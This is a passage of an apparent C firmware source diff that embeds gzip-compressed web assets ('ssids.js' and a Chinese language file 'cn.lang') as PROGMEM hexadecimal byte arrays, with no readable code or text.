0xc7, 0x7d, 0x82, 0xbf, 0x46, 0x04, 0x4a, 0x7c, 0x4a, 0xa4, 0xda, 0xea, 0xb8, 0x05, 0x25, 0xf6, 0xf8, 0x2d, 0x2a, 0x2e, 0x0f, 0x39, 0xe2, 0xc4, 0xf2, 0x1c, 0xf7, 0x05, 0x33, 0x30, 0x46, 0x7f, 0xe2, 0x9d, 0xa1, 0x2e, 0xb3, 0xc6, 0x18, 0x82, 0x93, 0x1c, 0x94, 0x46, 0x84, 0xe2, 0x2d, 0xde, 0x22, 0xe8, 0xe0, 0x6e, 0x5b, 0xc0, 0x34, 0xde, 0x36, 0x55, 0xa1, 0x95, 0x5c, 0x18, 0x49, 0xac, 0x1a, 0xf9, 0xc9, 0x15, 0xa5, 0x62, 0x1a, 0x0b, 0x85, 0x32, 0x8c, 0x8b, 0xd1, 0xc8, 0xb1, 0x7a, 0x55, 0x2f, 0x57, 0xea, 0x2a, 0x17, 0x5c, 0xc1, 0x12, 0x9e, 0xb4, 0xad, 0x91, 0x29, 0x90, 0xf9, 0x3b, 0x36, 0x58, 0xf3, 0xe4, 0x45, 0x78, 0x0d, 0xa3, 0x2c, 0x09, 0x6e, 0x7a, 0x25, 0x32, 0x08, 0x33, 0xb1, 0xf1, 0x5d, 0xb1, 0xdb, 0xb3, 0x6c, 0xae, 0xa9, 0xff, 0x08, 0x87, 0xd6, 0xcd, 0x3c, 0x3f, 0x0d, 0x66, 0x9f, 0x56, 0x67, 0xf7, 0x0e, 0x85, 0xef, 0x83, 0x13, 0x2b, 0x58, 0x6f, 0x05, 0x33, 0x63, 0xca, 0xb4, 0xd5, 0xc2, 0xdd, 0x8f, 0xd6, 0xa1, 0xfe, 0xbc, 0xf8, 0xf2, 0x5b, 0x68, 0x85, 0x6a, 0x01, 0x37, 0x49, 0xb5, 0x55, 0x6a, 0x5e, 0xf4, 0x1e, 0xb7, 0x25, 0xa1, 0x80, 0x98, 0x3f, 0x47, 0x11, 0xe1, 0x02, 0x1b, 0x0d, 0x12, 0xa2, 0x05, 0x29, 0xf2, 0xc4, 0xa0, 0xa8, 0xb7, 0x40, 0xcc, 0x46, 0xc3, 0xb4, 0xca, 0xf5, 0x67, 0x4f, 0x3a, 0xa2, 0xd8, 0x5c, 0x7a, 0x04, 0x40, 0x1e, 0x16, 0xc8, 0x89, 0xb5, 0x90, 0xd7, 0x59, 0xe6, 0xd3, 0x3b, 0xd4, 0x65, 0x3f, 0x6a, 0xc9, 0xb8, 0xca, 0xd0, 0xca, 0xbd, 0xad, 0x68, 0xcf, 0x74, 0xa6, 0x9f, 0xa2, 0x26, 0xce, 0x7f, 0x4a, 0x26, 0xb5, 0xad, 0x30, 0x03, 0xbe, 0xd1, 0x5b, 0x24, 0x0e, 0x06, 0xae, 0x9c, 0x6d, 0x57, 0xe6, 0xba, 0x94, 0x82, 0x77, 0xe9, 0xbd, 0x2d, 0x4a, 0xf9, 0xdd, 0xd9, 0xb7, 0x16, 0xd6, 0x8a, 0x81, 0xfb, 0xf2, 0x5a, 0xe3, 0xfd, 0x7c, 0x28, 0x34, 0xf6, 0x57, 0x37, 0x18, 0x1a, 0xb8, 0xe9, 0x33, 0xc3, 0x47, 0xca, 0xdf, 0xcb, 0xa9, 0xe0, 0x2e, 0xd6, 0xbb, 0xcc, 0x0b, 0xb0, 0xb6, 0x6d, 0x73, 0x16, 0xb7, 0x21, 0x39, 0x03, 0xb2, 0x04, 0x58, 0x63, 0x4f, 0x8b, 0xb5, 0x9d, 0x7a, 0x7b, 0x89, 0xbc, 0x7a, 0x75, 0x78, 0x81, 0xa5, 0xfa, 0xa7, 0x0d, 0x81, 0x34, 0x5b, 0xc9, 0xea, 0xc4, 0x18, 0x7b, 0x05, 0xb3, 0x6d, 0x4e, 0x51, 0x95, 0x15, 0x99, 0xa6, 0x63, 0x12, 0x45, 0x9c, 0xed, 0xd3, 0x0d, 0xc3, 0xc0, 0xc2, 0x4a, 0x22, 0x54, 0x38, 0x38, 0xe0, 0x8f, 0x86, 0xe4, 0xc2, 0x78, 0xaf, 0xce, 0x84, 0x8d, 0x28, 0xa2, 0x64, 0xd0, 0x98, 0x1a, 0x10, 0x1a, 0x96, 0x81, 0x63, 0xf2, 0x75, 0xf7, 0xd8, 0x2f, 0x9c, 0x86, 0xd1, 0x10, 0xff, 0xdb, 0x7d, 0x6b, 0x1e, 0xad, 0xa5, 0x66, 0xf8, 0x27, 0x76, 0x81, 0x57, 0x96, 0x6a, 0x33, 0x81, 0x59, 0xe8, 0xbd, 0xe3, 0x90, 0xfc, 0x5f, 0xcd, 0x7e, 0xcf, 0x82, 0xf2, 0x17, 0xef, 0xac, 0xf0, 0xc7, 0x6e, 0x0a, 0x00, 0x00}; +const char ssidsjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x73, 0x69, 0x64, 0x73, 0x2e, 0x6a, 0x73, 0x00, 0x85, 0x55, 0x6d, 0x6f, 0xda, 0x30, 0x10, 0xfe, 0x0c, 0xbf, 0xc2, 0xf3, 0xa4, 0x91, 0x88, 0x40, 0x81, 0x69, 0xfb, 0x00, 0x84, 0x6a, 0xd3, 0x3a, 0x6d, 0xd5, 0xd6, 0x49, 0xa5, 0x1f, 0x26, 0x31, 0x54, 0x85, 0xd8, 0x80, 0xd7, 0xe0, 0x20, 0x3b, 0xd0, 0x49, 0x15, 0xff, 0x7d, 0x77, 0x76, 0x5e, 0x49, 0x50, 0x11, 0x8a, 0x12, 0xdf, 0xf9, 0xee, 0xb9, 0xf3, 0x73, 0x8f, 0x8f, 0x81, 0x22, 0x5a, 0x0b, 0x76, 0xab, 0x63, 0x49, 0x7c, 0xf2, 0x42, 0x55, 0x20, 0x59, 0xbc, 0xa3, 0xe3, 0x75, 0x10, 0x69, 0xee, 0x51, 0xb4, 0x69, 0x3a, 0x5e, 0x2c, 0x4f, 0x93, 0x76, 0x0b, 0x7e, 0xed, 0xf5, 0x41, 0x86, 0x89, 0x00, 0xe7, 0x28, 0x0e, 0x98, 0xe3, 0xbe, 0xb4, 0x5b, 0x1b, 0x9e, 0x7c, 0x15, 0x11, 0x77, 0xa8, 0x3a, 0xc8, 0xeb, 0x70, 0xc7, 0x7c, 0x1d, 0x1c, 0x39, 0xb1, 0x1b, 0x3d, 0x92, 0xf9, 0x1b, 0xd7, 0xc2, 0xd7, 0x98, 0xfb, 0x7f, 0x21, 0x2b, 0xf5, 0x72, 0x17, 0xc5, 0xb5, 0xf1, 0x6a, 0x95, 0x10, 0xdd, 0xce, 0x7f, 0xdd, 0xf5, 0xf7, 0x81, 0xd2, 0xdc, 0x98, 0x0d, 0x0a, 0xa6, 0x82, 0x67, 0xc7, 0xbc, 0x9e, 0xf0, 0x89, 0x8f, 0x53, 0xbb, 0x40, 0x66, 0xcd, 0x10, 0xe8, 0x08, 0xc5, 0x6d, 0x93, 0x5d, 0x04, 0x3e, 0xed, 0x16, 0xbe, 0x40, 0x3c, 0x3a, 0x4d, 0xd4, 0x8c, 0xc2, 0xd6, 0x2e, 0xbe, 0x6e, 0x49, 0x18, 0x05, 0x5a, 0xfb, 0x1d, 0xc1, 0x3a, 0xb3, 0xe9, 0x55, 0xb2, 0x6d, 0x30, 0x21, 0x98, 0x8b, 0xc6, 0x28, 0x0e, 0x9f, 0x2e, 0xef, 0x84, 0x46, 0x5c, 0x34, 0x2a, 0xbe, 0x8b, 0x6b, 0xe6, 0x2b, 0x04, 0x67, 0xe0, 0xae, 0x63, 0xe5, 0x20, 0x7e, 0xe1, 0x0f, 0x26, 0x62, 0x9a, 0x35, 0xa4, 0x6f, 0xfb, 0x16, 0x71, 0xb9, 0x49, 0xb6, 0x13, 0xd1, 0xed, 0x9a, 0x7e, 0x99, 0xd2, 0xba, 0xa5, 0xda, 0x6c, 0x2a, 0x56, 0x2e, 0x8e, 0x76, 0x45, 0x17, 0xe3, 0xb3, 0x19, 0x25, 0x57, 0x57, 0xe4, 0xfb, 0x97, 0xba, 0x9b, 0x29, 0x94, 0x84, 0xb1, 0x4c, 0x38, 0xfc, 0x99, 0x48, 0x82, 0x55, 0xc4, 0xfd, 0x4e, 0xa2, 0x0e, 0xbc, 0x43, 0x04, 0xb3, 0x0e, 0x8f, 0x26, 0x10, 0xc6, 0xe3, 0x3a, 0x74, 0xaa, 0xb8, 0x16, 0x62, 0xb9, 0x18, 0x2c, 0xfb, 0xfa, 0xb0, 0xd2, 0x89, 0x12, 0x72, 0xe3, 0x0c, 0xbc, 0xba, 0xc3, 0x68, 0xe9, 0xba, 0x65, 0x24, 0xf3, 0x79, 0x13, 0x16, 0xec, 0x2b, 0xbc, 0x8b, 0xf0, 0x09, 0x41, 0x74, 0x48, 0x2c, 0xcd, 0x87, 0xdf, 0x09, 0xb7, 0x81, 0xdc, 0xf0, 0x1b, 0x19, 0x3a, 0x06, 0x88, 0x6b, 0x91, 0x71, 0x19, 0x16, 0xc0, 0x1a, 0x50, 0x0d, 0x97, 0xe4, 0x9a, 0xd0, 0x77, 0x6f, 0xff, 0x0d, 0xd7, 0x1f, 0x86, 0xa3, 0x09, 0x25, 0x63, 0x42, 0x7b, 0xb4, 0x82, 0x03, 0x42, 0x36, 0xb4, 0xc4, 0x9e, 0xe0, 0xea, 0x90, 0x24, 0x40, 0xac, 0x74, 0x71, 0xa3, 0x38, 0x97, 0x25, 0x48, 0xe8, 0x94, 0xa1, 0x81, 0xf4, 0x11, 0x00, 0x04, 0x82, 0xc3, 0xa2, 0x4d, 0x60, 0x37, 0xcf, 0x4a, 0x15, 0x83, 0xa9, 0x9e, 0x2a, 0xe7, 0x43, 0x35, 0x99, 0xe2, 0xac, 0x94, 0xca, 0x3a, 0xe5, 0xc9, 0x7e, 0x37, 0x44, 0xbf, 0x37, 0x2e, 0x59, 0xfc, 0x8c, 0x50, 0x27, 0xe4, 0x14, 0x4c, 0xdf, 0x8d, 0x93, 0x4e, 0xf8, 0xe7, 0x44, 0x52, 0xb7, 0x2f, 0xa4, 0xe4, 0xea, 0xdb, 0xc3, 0xcf, 0x1f, 0x30, 0x19, 0x79, 0xd7, 0xac, 0x03, 0x34, 0xcc, 0x56, 0xc2, 0x84, 0xc6, 0x33, 0x78, 0x4c, 0x95, 0xc1, 0x85, 0xde, 0x59, 0x03, 0x97, 0x95, 0xf5, 0x49, 0x91, 0x02, 0x43, 0x3d, 0xa0, 0xf1, 0x2c, 0x85, 0x1d, 0xc6, 0xf2, 0xac, 0xa6, 0x05, 0x09, 0x86, 0x44, 0x3e, 0x63, 0xb9, 0xde, 0x43, 0xd1, 0x68, 0xf3, 0xc8, 0x10, 0xa3, 0xd7, 0x84, 0xc6, 0x6e, 0x36, 0xc0, 0x09, 0xb4, 0x84, 0xa1, 0x53, 0xa6, 0x0d, 0xe5, 0x24, 0x01, 0x63, 0xb9, 0x1e, 0xa0, 0xf3, 0x3c, 0x51, 0x00, 0xa6, 0x80, 0x0a, 0x28, 0x8f, 0x41, 0x74, 0xe0, 0x13, 0xeb, 0xf2, 0xbc, 0x0f, 0x46, 0xb9, 0x1d, 0x98, 0x05, 0xe6, 0x70, 0xcb, 0xc3, 0x27, 0xce, 0x52, 0x87, 0x30, 0x8a, 0x25, 0xd7, 0x95, 0x10, 0x77, 0x87, 0xdd, 0x59, 0x14, 0x18, 0xe0, 0x90, 0xe7, 0x3e, 0x80, 0x53, 0x3d, 0x2b, 0x91, 0xf0, 0x4a, 0xb0, 0x76, 0x4b, 0xac, 0x9d, 0x14, 0x51, 0x3a, 0xd4, 0x64, 0x46, 0x06, 0x66, 0xa8, 0x4d, 0xa2, 0x5d, 0x8a, 0x95, 0x42, 0x09, 0xb6, 0xce, 0x3f, 0x94, 0x76, 0xd3, 0x1d, 0x5d, 0x8a, 0x1f, 0x8e, 0x4d, 0x04, 0xf4, 0x26, 0xbd, 0x35, 0x1d, 0x53, 0x82, 0xac, 0x23, 0xbd, 0x30, 0x82, 0x96, 0x58, 0xa0, 0x28, 0x94, 0x90, 0x07, 0xcb, 0x72, 0xb3, 0x90, 0xa8, 0x16, 0xa4, 0x87, 0x4b, 0xc8, 0x8e, 0x56, 0x59, 0x9a, 0xb3, 0xee, 0xc2, 0x76, 0xe3, 0xeb, 0xa6, 0x0e, 0x55, 0x45, 0x4a, 0x43, 0x67, 0x12, 0x94, 0x15, 0x52, 0x13, 0x29, 0x32, 0xf3, 0xc9, 0xc7, 0x81, 0x4b, 0x9a, 0xcf, 0x76, 0xe0, 0x0d, 0xad, 0xa4, 0x9f, 0x99, 0xf7, 0x07, 0xbd, 0x75, 0x16, 0x69, 0x9d, 0x1e, 0xc2, 0x5c, 0x5a, 0xbd, 0xb7, 0x50, 0xf2, 0x0b, 0xe0, 0x54, 0x39, 0x67, 0x4b, 0xc8, 0x7b, 0xc3, 0x47, 0x73, 0xe0, 0x65, 0x50, 0x96, 0xa6, 0xd5, 0x5b, 0x28, 0x2b, 0x35, 0xa5, 0x38, 0x49, 0xa9, 0xec, 0x55, 0x2f, 0xad, 0x96, 0xbd, 0xea, 0x8a, 0xfb, 0x86, 0xc3, 0xd5, 0xd8, 0x18, 0xc7, 0x02, 0x48, 0xc3, 0x40, 0xff, 0xed, 0xd9, 0x0b, 0x50, 0x53, 0x05, 0xd4, 0xc8, 0x08, 0xf2, 0x5a, 0x78, 0xe0, 0x45, 0xe5, 0x3a, 0xb3, 0xe0, 0x4a, 0x65, 0x9d, 0x93, 0x7b, 0xce, 0x23, 0x1e, 0x82, 0x62, 0x37, 0x5f, 0xc7, 0x39, 0x75, 0x7a, 0x1a, 0xd8, 0x72, 0x91, 0x8e, 0x05, 0x83, 0xa8, 0x7b, 0x36, 0x3f, 0x85, 0xe6, 0x36, 0xcd, 0xe9, 0x42, 0x30, 0x23, 0xb0, 0x3e, 0x79, 0xd3, 0x68, 0x28, 0x0d, 0x65, 0xcb, 0x48, 0xa5, 0x19, 0xd4, 0xba, 0x08, 0x7c, 0x8a, 0x22, 0xa7, 0x1e, 0x1d, 0xc2, 0x2e, 0x96, 0xaf, 0x0c, 0xbf, 0xa6, 0x97, 0x26, 0x3f, 0xcb, 0x97, 0x0e, 0xbf, 0x0c, 0x76, 0xbc, 0x32, 0xb6, 0x8f, 0x46, 0x36, 0x0a, 0x8d, 0xea, 0x2b, 0xbe, 0x8f, 0x02, 0x20, 0x26, 0x9d, 0xae, 0x40, 0x38, 0x3d, 0xe8, 0x45, 0xe5, 0x3a, 0x7b, 0x3f, 0x72, 0xab, 0x22, 0x71, 0xa9, 0xe2, 0xfa, 0x3a, 0x16, 0x82, 0xf9, 0x2d, 0x9b, 0x33, 0xb1, 0x3c, 0xaf, 0xc9, 0x64, 0x2f, 0x14, 0x0d, 0x27, 0x59, 0x9a, 0x99, 0xc7, 0xad, 0x38, 0xf0, 0xb0, 0x6c, 0x26, 0x19, 0x8f, 0xcb, 0xce, 0x2f, 0xde, 0x65, 0xd9, 0x91, 0xfd, 0x07, 0xc8, 0xe6, 0x2d, 0x68, 0xcf, 0x09, 0x00, 0x00}; +const char cnlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x63, 0x6e, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0x9d, 0x59, 0x5b, 0x6f, 0x5b, 0xc7, 0x11, 0x7e, 0xae, 0x7f, 0x05, 0xeb, 0x27, 0x19, 0xb0, 0x5d, 0xc9, 0x69, 0x82, 0xb4, 0x40, 0x1f, 0x92, 0x5a, 0x2e, 0xdc, 0x0b, 0x6a, 0x44, 0x09, 0xdc, 0x07, 0x03, 0x02, 0x45, 0x1d, 0xc5, 0x44, 0x25, 0x52, 0x20, 0x69, 0xab, 0x45, 0x51, 0x80, 0xb2, 0x4c, 0xf1, 0x22, 0x8a, 0xa4, 0x62, 0x5d, 0x29, 0xca, 0x22, 0x65, 0x5d, 0x18, 0xd9, 0xbc, 0xc8, 0x92, 0x49, 0x91, 0x14, 0xc5, 0xff, 0x92, 0x9c, 0x3d, 0x97, 0x27, 0xff, 0x85, 0x7e, 0xb3, 0x73, 0x78, 0x78, 0x48, 0x29, 0x41, 0x5b, 0xc3, 0x30, 0x88, 0x3d, 0xb3, 0xb3, 0x33, 0xb3, 0x33, 0xdf, 0x7c, 0xb3, 0xfe, 0xd7, 0x0d, 0x17, 0xfe, 0xdc, 0x9c, 0x76, 0xfb, 0xbe, 0xbd, 0xf9, 0x5b, 0xd7, 0x4d, 0x8f, 0xef, 0xe6, 0x6d, 0x5e, 0x99, 0x73, 0x07, 0x7c, 0x5e, 0x5e, 0xd4, 0x4e, 0x8b, 0xda, 0xcb, 0xf4, 0xc7, 0x8b, 0xf9, 0xee, 0xb7, 0x49, 0x6f, 0xd0, 0x33, 0xed, 0xf6, 0xce, 0x28, 0x01, 0xfa, 0x6c, 0x54, 0x0e, 0xcc, 0x42, 0x43, 0xdf, 0x2e, 0xab, 0xad, 0x88, 0xbe, 0x5a, 0x54, 0x9b, 0x29, 0xf5, 0xfc, 0x58, 0x6d, 0x36, 0x45, 0xe9, 0x50, 0x6d, 0xe4, 0xc5, 0x77, 0x49, 0x3d, 0xbf, 0xaa, 0x7f, 0x5f, 0x53, 0xdb, 0x1d, 0x7c, 0x7d, 0xe2, 0x1b, 0x1d, 0x7b, 0xf4, 0xf9, 0xbd, 0xcf, 0x3e, 0x13, 0xe9, 0x84, 0x88, 0xd4, 0xc6, 0xee, 0xff, 0xc9, 0x5c, 0x68, 0xab, 0xe7, 0xcb, 0xda, 0x66, 0x45, 0x3d, 0x6f, 0x6a, 0xa5, 0x7d, 0xe8, 0xd1, 0xb3, 0x2f, 0x8d, 0x70, 0xd2, 0x28, 0x5f, 0x1a, 0xe5, 0x82, 0x16, 0x5b, 0xd7, 0x5e, 0xbf, 0x14, 0xad, 0x26, 0x16, 0x7f, 0x0c, 0xbf, 0x10, 0xe9, 0x8a, 0x01, 0xf9, 0x8b, 0xac, 0x96, 0x8b, 0xbb, 0xbe, 0x7c, 0xf6, 0xad, 0x4b, 0x44, 0x9b, 0x7a, 0xaa, 0x0a, 0xdb, 0x9e, 0xf8, 0x8c, 0x4a, 0x1d, 0x16, 0x88, 0x5c, 0xd1, 0x88, 0x1e, 0x8b, 0xfa, 0x09, 0x36, 0xe8, 0xed, 0x15, 0xbd, 0x95, 0x83, 0x05, 0xd0, 0x25, 0xf6, 0xa3, 0xea, 0x79, 0x82, 0x8d, 0x90, 0xe2, 0x5a, 0xee, 0x9d, 0x65, 0xb6, 0x5c, 0x7b, 0x38, 0x3a, 0x3a, 0xea, 0xfa, 0x7c, 0xf8, 0xde, 0xdd, 0x91, 0x11, 0x2d, 0x1f, 0x15, 0xd1, 0x45, 0xf5, 0xbc, 0xa4, 0xa5, 0xd3, 0x46, 0xa7, 0x0a, 0x45, 0x38, 0x4d, 0x5b, 0x8b, 0x3d, 0xf6, 0xde, 0x79, 0xe0, 0x15, 0xe7, 0x47, 0x1f, 0x2f, 0x92, 0xb0, 0x18, 0x46, 0x98, 0x9b, 0x2d, 0xad, 0xb4, 0x07, 0x13, 0xf5, 0xfc, 0x99, 0xd8, 0x49, 0xab, 0xad, 0x96, 0xda, 0x5e, 0x33, 0xf7, 0x56, 0xc4, 0xf9, 0x21, 0x6c, 0x7d, 0xe2, 0x63, 0xcd, 0x22, 0xbe, 0x0c, 0xd3, 0xb4, 0x37, 0x61, 0x6d, 0xf7, 0x40, 0x7b, 0x51, 0x84, 0x3a, 0xb1, 0xdd, 0x16, 0xe5, 0x1a, 0xe9, 0x3d, 0x5d, 0x13, 0x97, 0x4b, 0xf8, 0xd7, 0x38, 0x7a, 0x29, 0x77, 0xb0, 0x17, 0xe7, 0xcb, 0xc6, 0xe1, 0xbc, 0xa8, 0x2e, 0x1a, 0x9d, 0x2d, 0x84, 0x92, 0xad, 0xd4, 0x8f, 0xaa, 0x08, 0xd0, 0x0f, 0xe1, 0x9c, 0x68, 0xbc, 0xd7, 0xe2, 0x55, 0xb1, 0x55, 0xfc, 0x21, 0xbc, 0x03, 0x4b, 0x20, 0x23, 0xca, 0x49, 0x11, 0x29, 0x5a, 0x36, 0x34, 0xfb, 0x77, 0x21, 0x08, 0xb9, 0x5d, 0xad, 0xf4, 0x86, 0x7f, 0x4b, 0xc7, 0xc5, 0xe1, 0x0b, 0xed, 0x75, 0x4e, 0x6d, 0xe7, 0x21, 0xa8, 0xe5, 0xeb, 0x62, 0x3e, 0x0b, 0x35, 0xa2, 0xbc, 0x20, 0xd2, 0xc7, 0x88, 0xad, 0x51, 0x99, 0xd7, 0x36, 0x53, 0xf8, 0x4a, 0x2e, 0x42, 0xd9, 0xd1, 0x1b, 0xa7, 0x3e, 0xe4, 0x81, 0x58, 0x39, 0xd5, 0x77, 0xc2, 0x6a, 0x2b, 0xac, 0x36, 0x62, 0xd2, 0x66, 0x58, 0x2c, 0x96, 0x3a, 0x7c, 0xf3, 0x62, 0x0d, 0x71, 0xcb, 0xe2, 0xb7, 0x19, 0x5e, 0x85, 0x56, 0x84, 0x06, 0x46, 0x93, 0x9a, 0xe8, 0xb1, 0xd1, 0x7c, 0x2b, 0x62, 0xdf, 0xeb, 0xdb, 0x09, 0x91, 0x46, 0x80, 0x16, 0xec, 0xac, 0xa1, 0x30, 0xd4, 0x62, 0xda, 0x7c, 0xc5, 0x72, 0xc6, 0xb2, 0xe2, 0xcc, 0xb6, 0x42, 0x54, 0x13, 0x66, 0x74, 0x59, 0xdf, 0x3d, 0x30, 0x2a, 0x8b, 0x6a, 0xf3, 0x48, 0xdb, 0x59, 0xa0, 0x0b, 0x68, 0x1d, 0x20, 0x83, 0x8c, 0x85, 0xa4, 0xc8, 0xa4, 0xc8, 0xc9, 0xfd, 0x4b, 0x91, 0x6c, 0xe2, 0xa6, 0xf9, 0x38, 0x6d, 0xfb, 0x4c, 0x1c, 0xb4, 0xb1, 0xfe, 0xd8, 0xfb, 0xc0, 0xcb, 0xd7, 0x49, 0xc7, 0xac, 0x6f, 0xa8, 0xcd, 0xb8, 0x1d, 0xe7, 0x43, 0x6d, 0x21, 0x02, 0xdb, 0x8d, 0x72, 0xc7, 0xdc, 0x28, 0x7f, 0xbc, 0xc8, 0x22, 0xbb, 0x7f, 0xe1, 0x48, 0xed, 0x3b, 0x13, 0xcf, 0x42, 0x21, 0xbf, 0x4f, 0x16, 0x40, 0x6c, 0x45, 0xd4, 0xdf, 0x9b, 0x9b, 0x10, 0x6f, 0x89, 0x46, 0x0d, 0x96, 0xe9, 0x5b, 0x48, 0xda, 0x04, 0x92, 0x83, 0x6b, 0x43, 0x6d, 0x2e, 0xc1, 0x19, 0x68, 0x96, 0x3a, 0x02, 0xca, 0xb4, 0xdf, 0x3d, 0x49, 0x1b, 0x45, 0xac, 0xae, 0xad, 0x57, 0xe5, 0x62, 0xd0, 0xe3, 0x66, 0x5d, 0xf1, 0xb7, 0x48, 0x2b, 0x5e, 0x0a, 0x7a, 0x27, 0x83, 0xb4, 0x36, 0x36, 0xf6, 0xf0, 0x7e, 0x50, 0x2e, 0xb9, 0x43, 0x21, 0xb7, 0xe7, 0xef, 0x72, 0x51, 0x5b, 0x6d, 0x89, 0x68, 0x8b, 0x05, 0x95, 0x50, 0x08, 0xb5, 0x28, 0x97, 0x91, 0xca, 0x7a, 0xbb, 0x2c, 0x97, 0xbd, 0xbe, 0x29, 0xbf, 0x3c, 0x25, 0x72, 0x8a, 0xd0, 0xdb, 0x4b, 0xe3, 0xc1, 0x59, 0xeb, 0x28, 0xab, 0x6e, 0xb3, 0x2e, 0xd6, 0x3d, 0x3d, 0xcd, 0xd2, 0x45, 0x73, 0xa1, 0x28, 0x57, 0x3c, 0x4f, 0xdd, 0x3e, 0x9f, 0x22, 0x57, 0xd5, 0x4e, 0xc1, 0x9c, 0x7f, 0xc5, 0x21, 0x50, 0x9e, 0x7b, 0x3d, 0x4a, 0x90, 0x57, 0x77, 0x44, 0x69, 0x93, 0xea, 0x51, 0x16, 0x90, 0x65, 0xcc, 0xb4, 0xe2, 0x09, 0x8d, 0x3b, 0xb4, 0x85, 0xe3, 0xd6, 0xbe, 0x2b, 0x9f, 0x70, 0x7b, 0xdd, 0xaf, 0x01, 0x65, 0xc6, 0xff, 0x5c, 0xe9, 0x7e, 0xd3, 0x8f, 0x5a, 0xe6, 0xd6, 0xbe, 0xc3, 0x94, 0x60, 0xc8, 0x1d, 0xf2, 0xfa, 0x7d, 0xe3, 0x14, 0xa6, 0xf1, 0x10, 0xe2, 0x2f, 0xe3, 0xc2, 0x8b, 0x1c, 0x32, 0x6d, 0xa3, 0x66, 0x6e, 0x9c, 0x49, 0x61, 0x9f, 0x32, 0x27, 0xfd, 0x5b, 0xaf, 0x02, 0x18, 0x78, 0xbb, 0xfb, 0xb9, 0xd2, 0x33, 0x98, 0xdd, 0x9d, 0x94, 0x57, 0xa0, 0xd5, 0x5b, 0x22, 0x91, 0xef, 0xae, 0x8c, 0xb3, 0x89, 0x0a, 0xdf, 0x4e, 0x64, 0xc9, 0xcc, 0x2e, 0x6a, 0xf1, 0x30, 0x6c, 0xd4, 0x52, 0x07, 0x22, 0x72, 0xa0, 0xbf, 0x68, 0x48, 0x49, 0x58, 0x1a, 0x98, 0x0b, 0x78, 0x43, 0x52, 0xa7, 0x71, 0xb8, 0xa8, 0x6f, 0xaf, 0xcb, 0x75, 0x32, 0x6c, 0xdc, 0xeb, 0x0b, 0x29, 0x81, 0xe7, 0x6e, 0xe9, 0x07, 0x1b, 0x45, 0x7f, 0xb3, 0xab, 0x6c, 0xda, 0xb3, 0x99, 0x09, 0x86, 0x45, 0x6d, 0xad, 0x6a, 0x46, 0xf9, 0xa2, 0x43, 0xee, 0xc0, 0xb7, 0x4a, 0x48, 0x46, 0x94, 0x6a, 0x28, 0x1f, 0xb5, 0x33, 0x62, 0xbc, 0x7b, 0x87, 0x77, 0x5c, 0x38, 0x1b, 0xf7, 0xcd, 0xbe, 0x22, 0xc9, 0xf4, 0x52, 0x5c, 0x5c, 0x46, 0x90, 0xe9, 0x3a, 0x72, 0x39, 0x86, 0xda, 0x6f, 0x69, 0x3b, 0x1d, 0xe4, 0x1c, 0x5d, 0xc6, 0xab, 0x1d, 0x23, 0xfe, 0xfe, 0xcf, 0xa3, 0xf7, 0xb5, 0x64, 0x54, 0xdf, 0x6f, 0xea, 0xf3, 0x15, 0x7d, 0xf1, 0xa5, 0x3e, 0x5f, 0xfa, 0x78, 0x11, 0x43, 0xc1, 0x89, 0xf4, 0x26, 0x8a, 0x40, 0x6f, 0x75, 0x20, 0xf3, 0xf1, 0x22, 0x4e, 0x1a, 0x5e, 0xd6, 0xa8, 0x4a, 0xa4, 0x7e, 0xce, 0x48, 0x59, 0x03, 0x77, 0x5c, 0xc0, 0xca, 0xfe, 0x10, 0xe7, 0x76, 0xe1, 0x0a, 0x76, 0x3c, 0x56, 0x26, 0xf4, 0xb5, 0xa4, 0xb9, 0xb3, 0x07, 0x10, 0xa2, 0x0a, 0x4c, 0x57, 0x24, 0x6a, 0x26, 0x01, 0x5f, 0x8c, 0xc0, 0x66, 0x2e, 0x0c, 0x88, 0x42, 0x59, 0x42, 0x99, 0xd1, 0x79, 0x8d, 0xe8, 0x49, 0x68, 0xb9, 0xe3, 0x22, 0x30, 0x48, 0x1f, 0x53, 0x40, 0x97, 0xbe, 0x57, 0xcf, 0xc3, 0x00, 0x0e, 0xf6, 0x58, 0x7e, 0xee, 0x65, 0xbd, 0xc3, 0x6f, 0x60, 0x3e, 0xe5, 0xbf, 0x88, 0x6d, 0x18, 0x85, 0xa2, 0xd5, 0x3f, 0x3a, 0x05, 0x6c, 0x19, 0x9a, 0x50, 0xdc, 0x1e, 0xbf, 0xef, 0x16, 0xaa, 0x5a, 0x4b, 0xed, 0x69, 0x1f, 0x96, 0x86, 0x66, 0x03, 0xfe, 0x09, 0xe5, 0x16, 0x17, 0x86, 0xe5, 0x82, 0x4b, 0xab, 0xa4, 0x71, 0x08, 0x69, 0xd0, 0x72, 0x61, 0xb1, 0x9f, 0x85, 0x7d, 0xc0, 0x06, 0x00, 0xf6, 0x27, 0xf7, 0xb0, 0x2e, 0x4a, 0x1b, 0xfa, 0xbb, 0x43, 0x4b, 0x56, 0xed, 0x94, 0xb5, 0xd5, 0x86, 0x3c, 0x2c, 0x93, 0xb2, 0x40, 0xb6, 0xb3, 0x69, 0x94, 0xab, 0x1c, 0x1a, 0xce, 0x1d, 0x4b, 0x16, 0x9e, 0xb2, 0x8f, 0x88, 0x11, 0xe7, 0x89, 0xb5, 0xef, 0x4a, 0x18, 0x1d, 0x75, 0xeb, 0xf0, 0x8a, 0x14, 0xd0, 0xd6, 0x8b, 0xb0, 0x38, 0x5a, 0x62, 0x8b, 0x91, 0x2b, 0x76, 0xfb, 0x12, 0xfb, 0x27, 0x22, 0xd5, 0xea, 0x8b, 0x1c, 0xc0, 0x8e, 0x4f, 0xc4, 0xed, 0x89, 0xf4, 0x3a, 0x30, 0xd1, 0x3c, 0x4e, 0x12, 0x1a, 0x9f, 0x1d, 0x6b, 0xd5, 0x33, 0x56, 0x31, 0x34, 0xa9, 0xb8, 0x9f, 0x85, 0x9e, 0x5a, 0x21, 0xb8, 0x1a, 0xe5, 0x41, 0xe3, 0xd9, 0x25, 0x96, 0x90, 0x21, 0xda, 0x39, 0x30, 0x3a, 0xdb, 0x46, 0x21, 0xc9, 0x11, 0xb6, 0x23, 0xdb, 0x17, 0x52, 0xa7, 0x87, 0x04, 0xb3, 0xf2, 0x07, 0xb2, 0x59, 0x5b, 0x2e, 0x8b, 0x64, 0xc4, 0x0c, 0xef, 0xea, 0xa9, 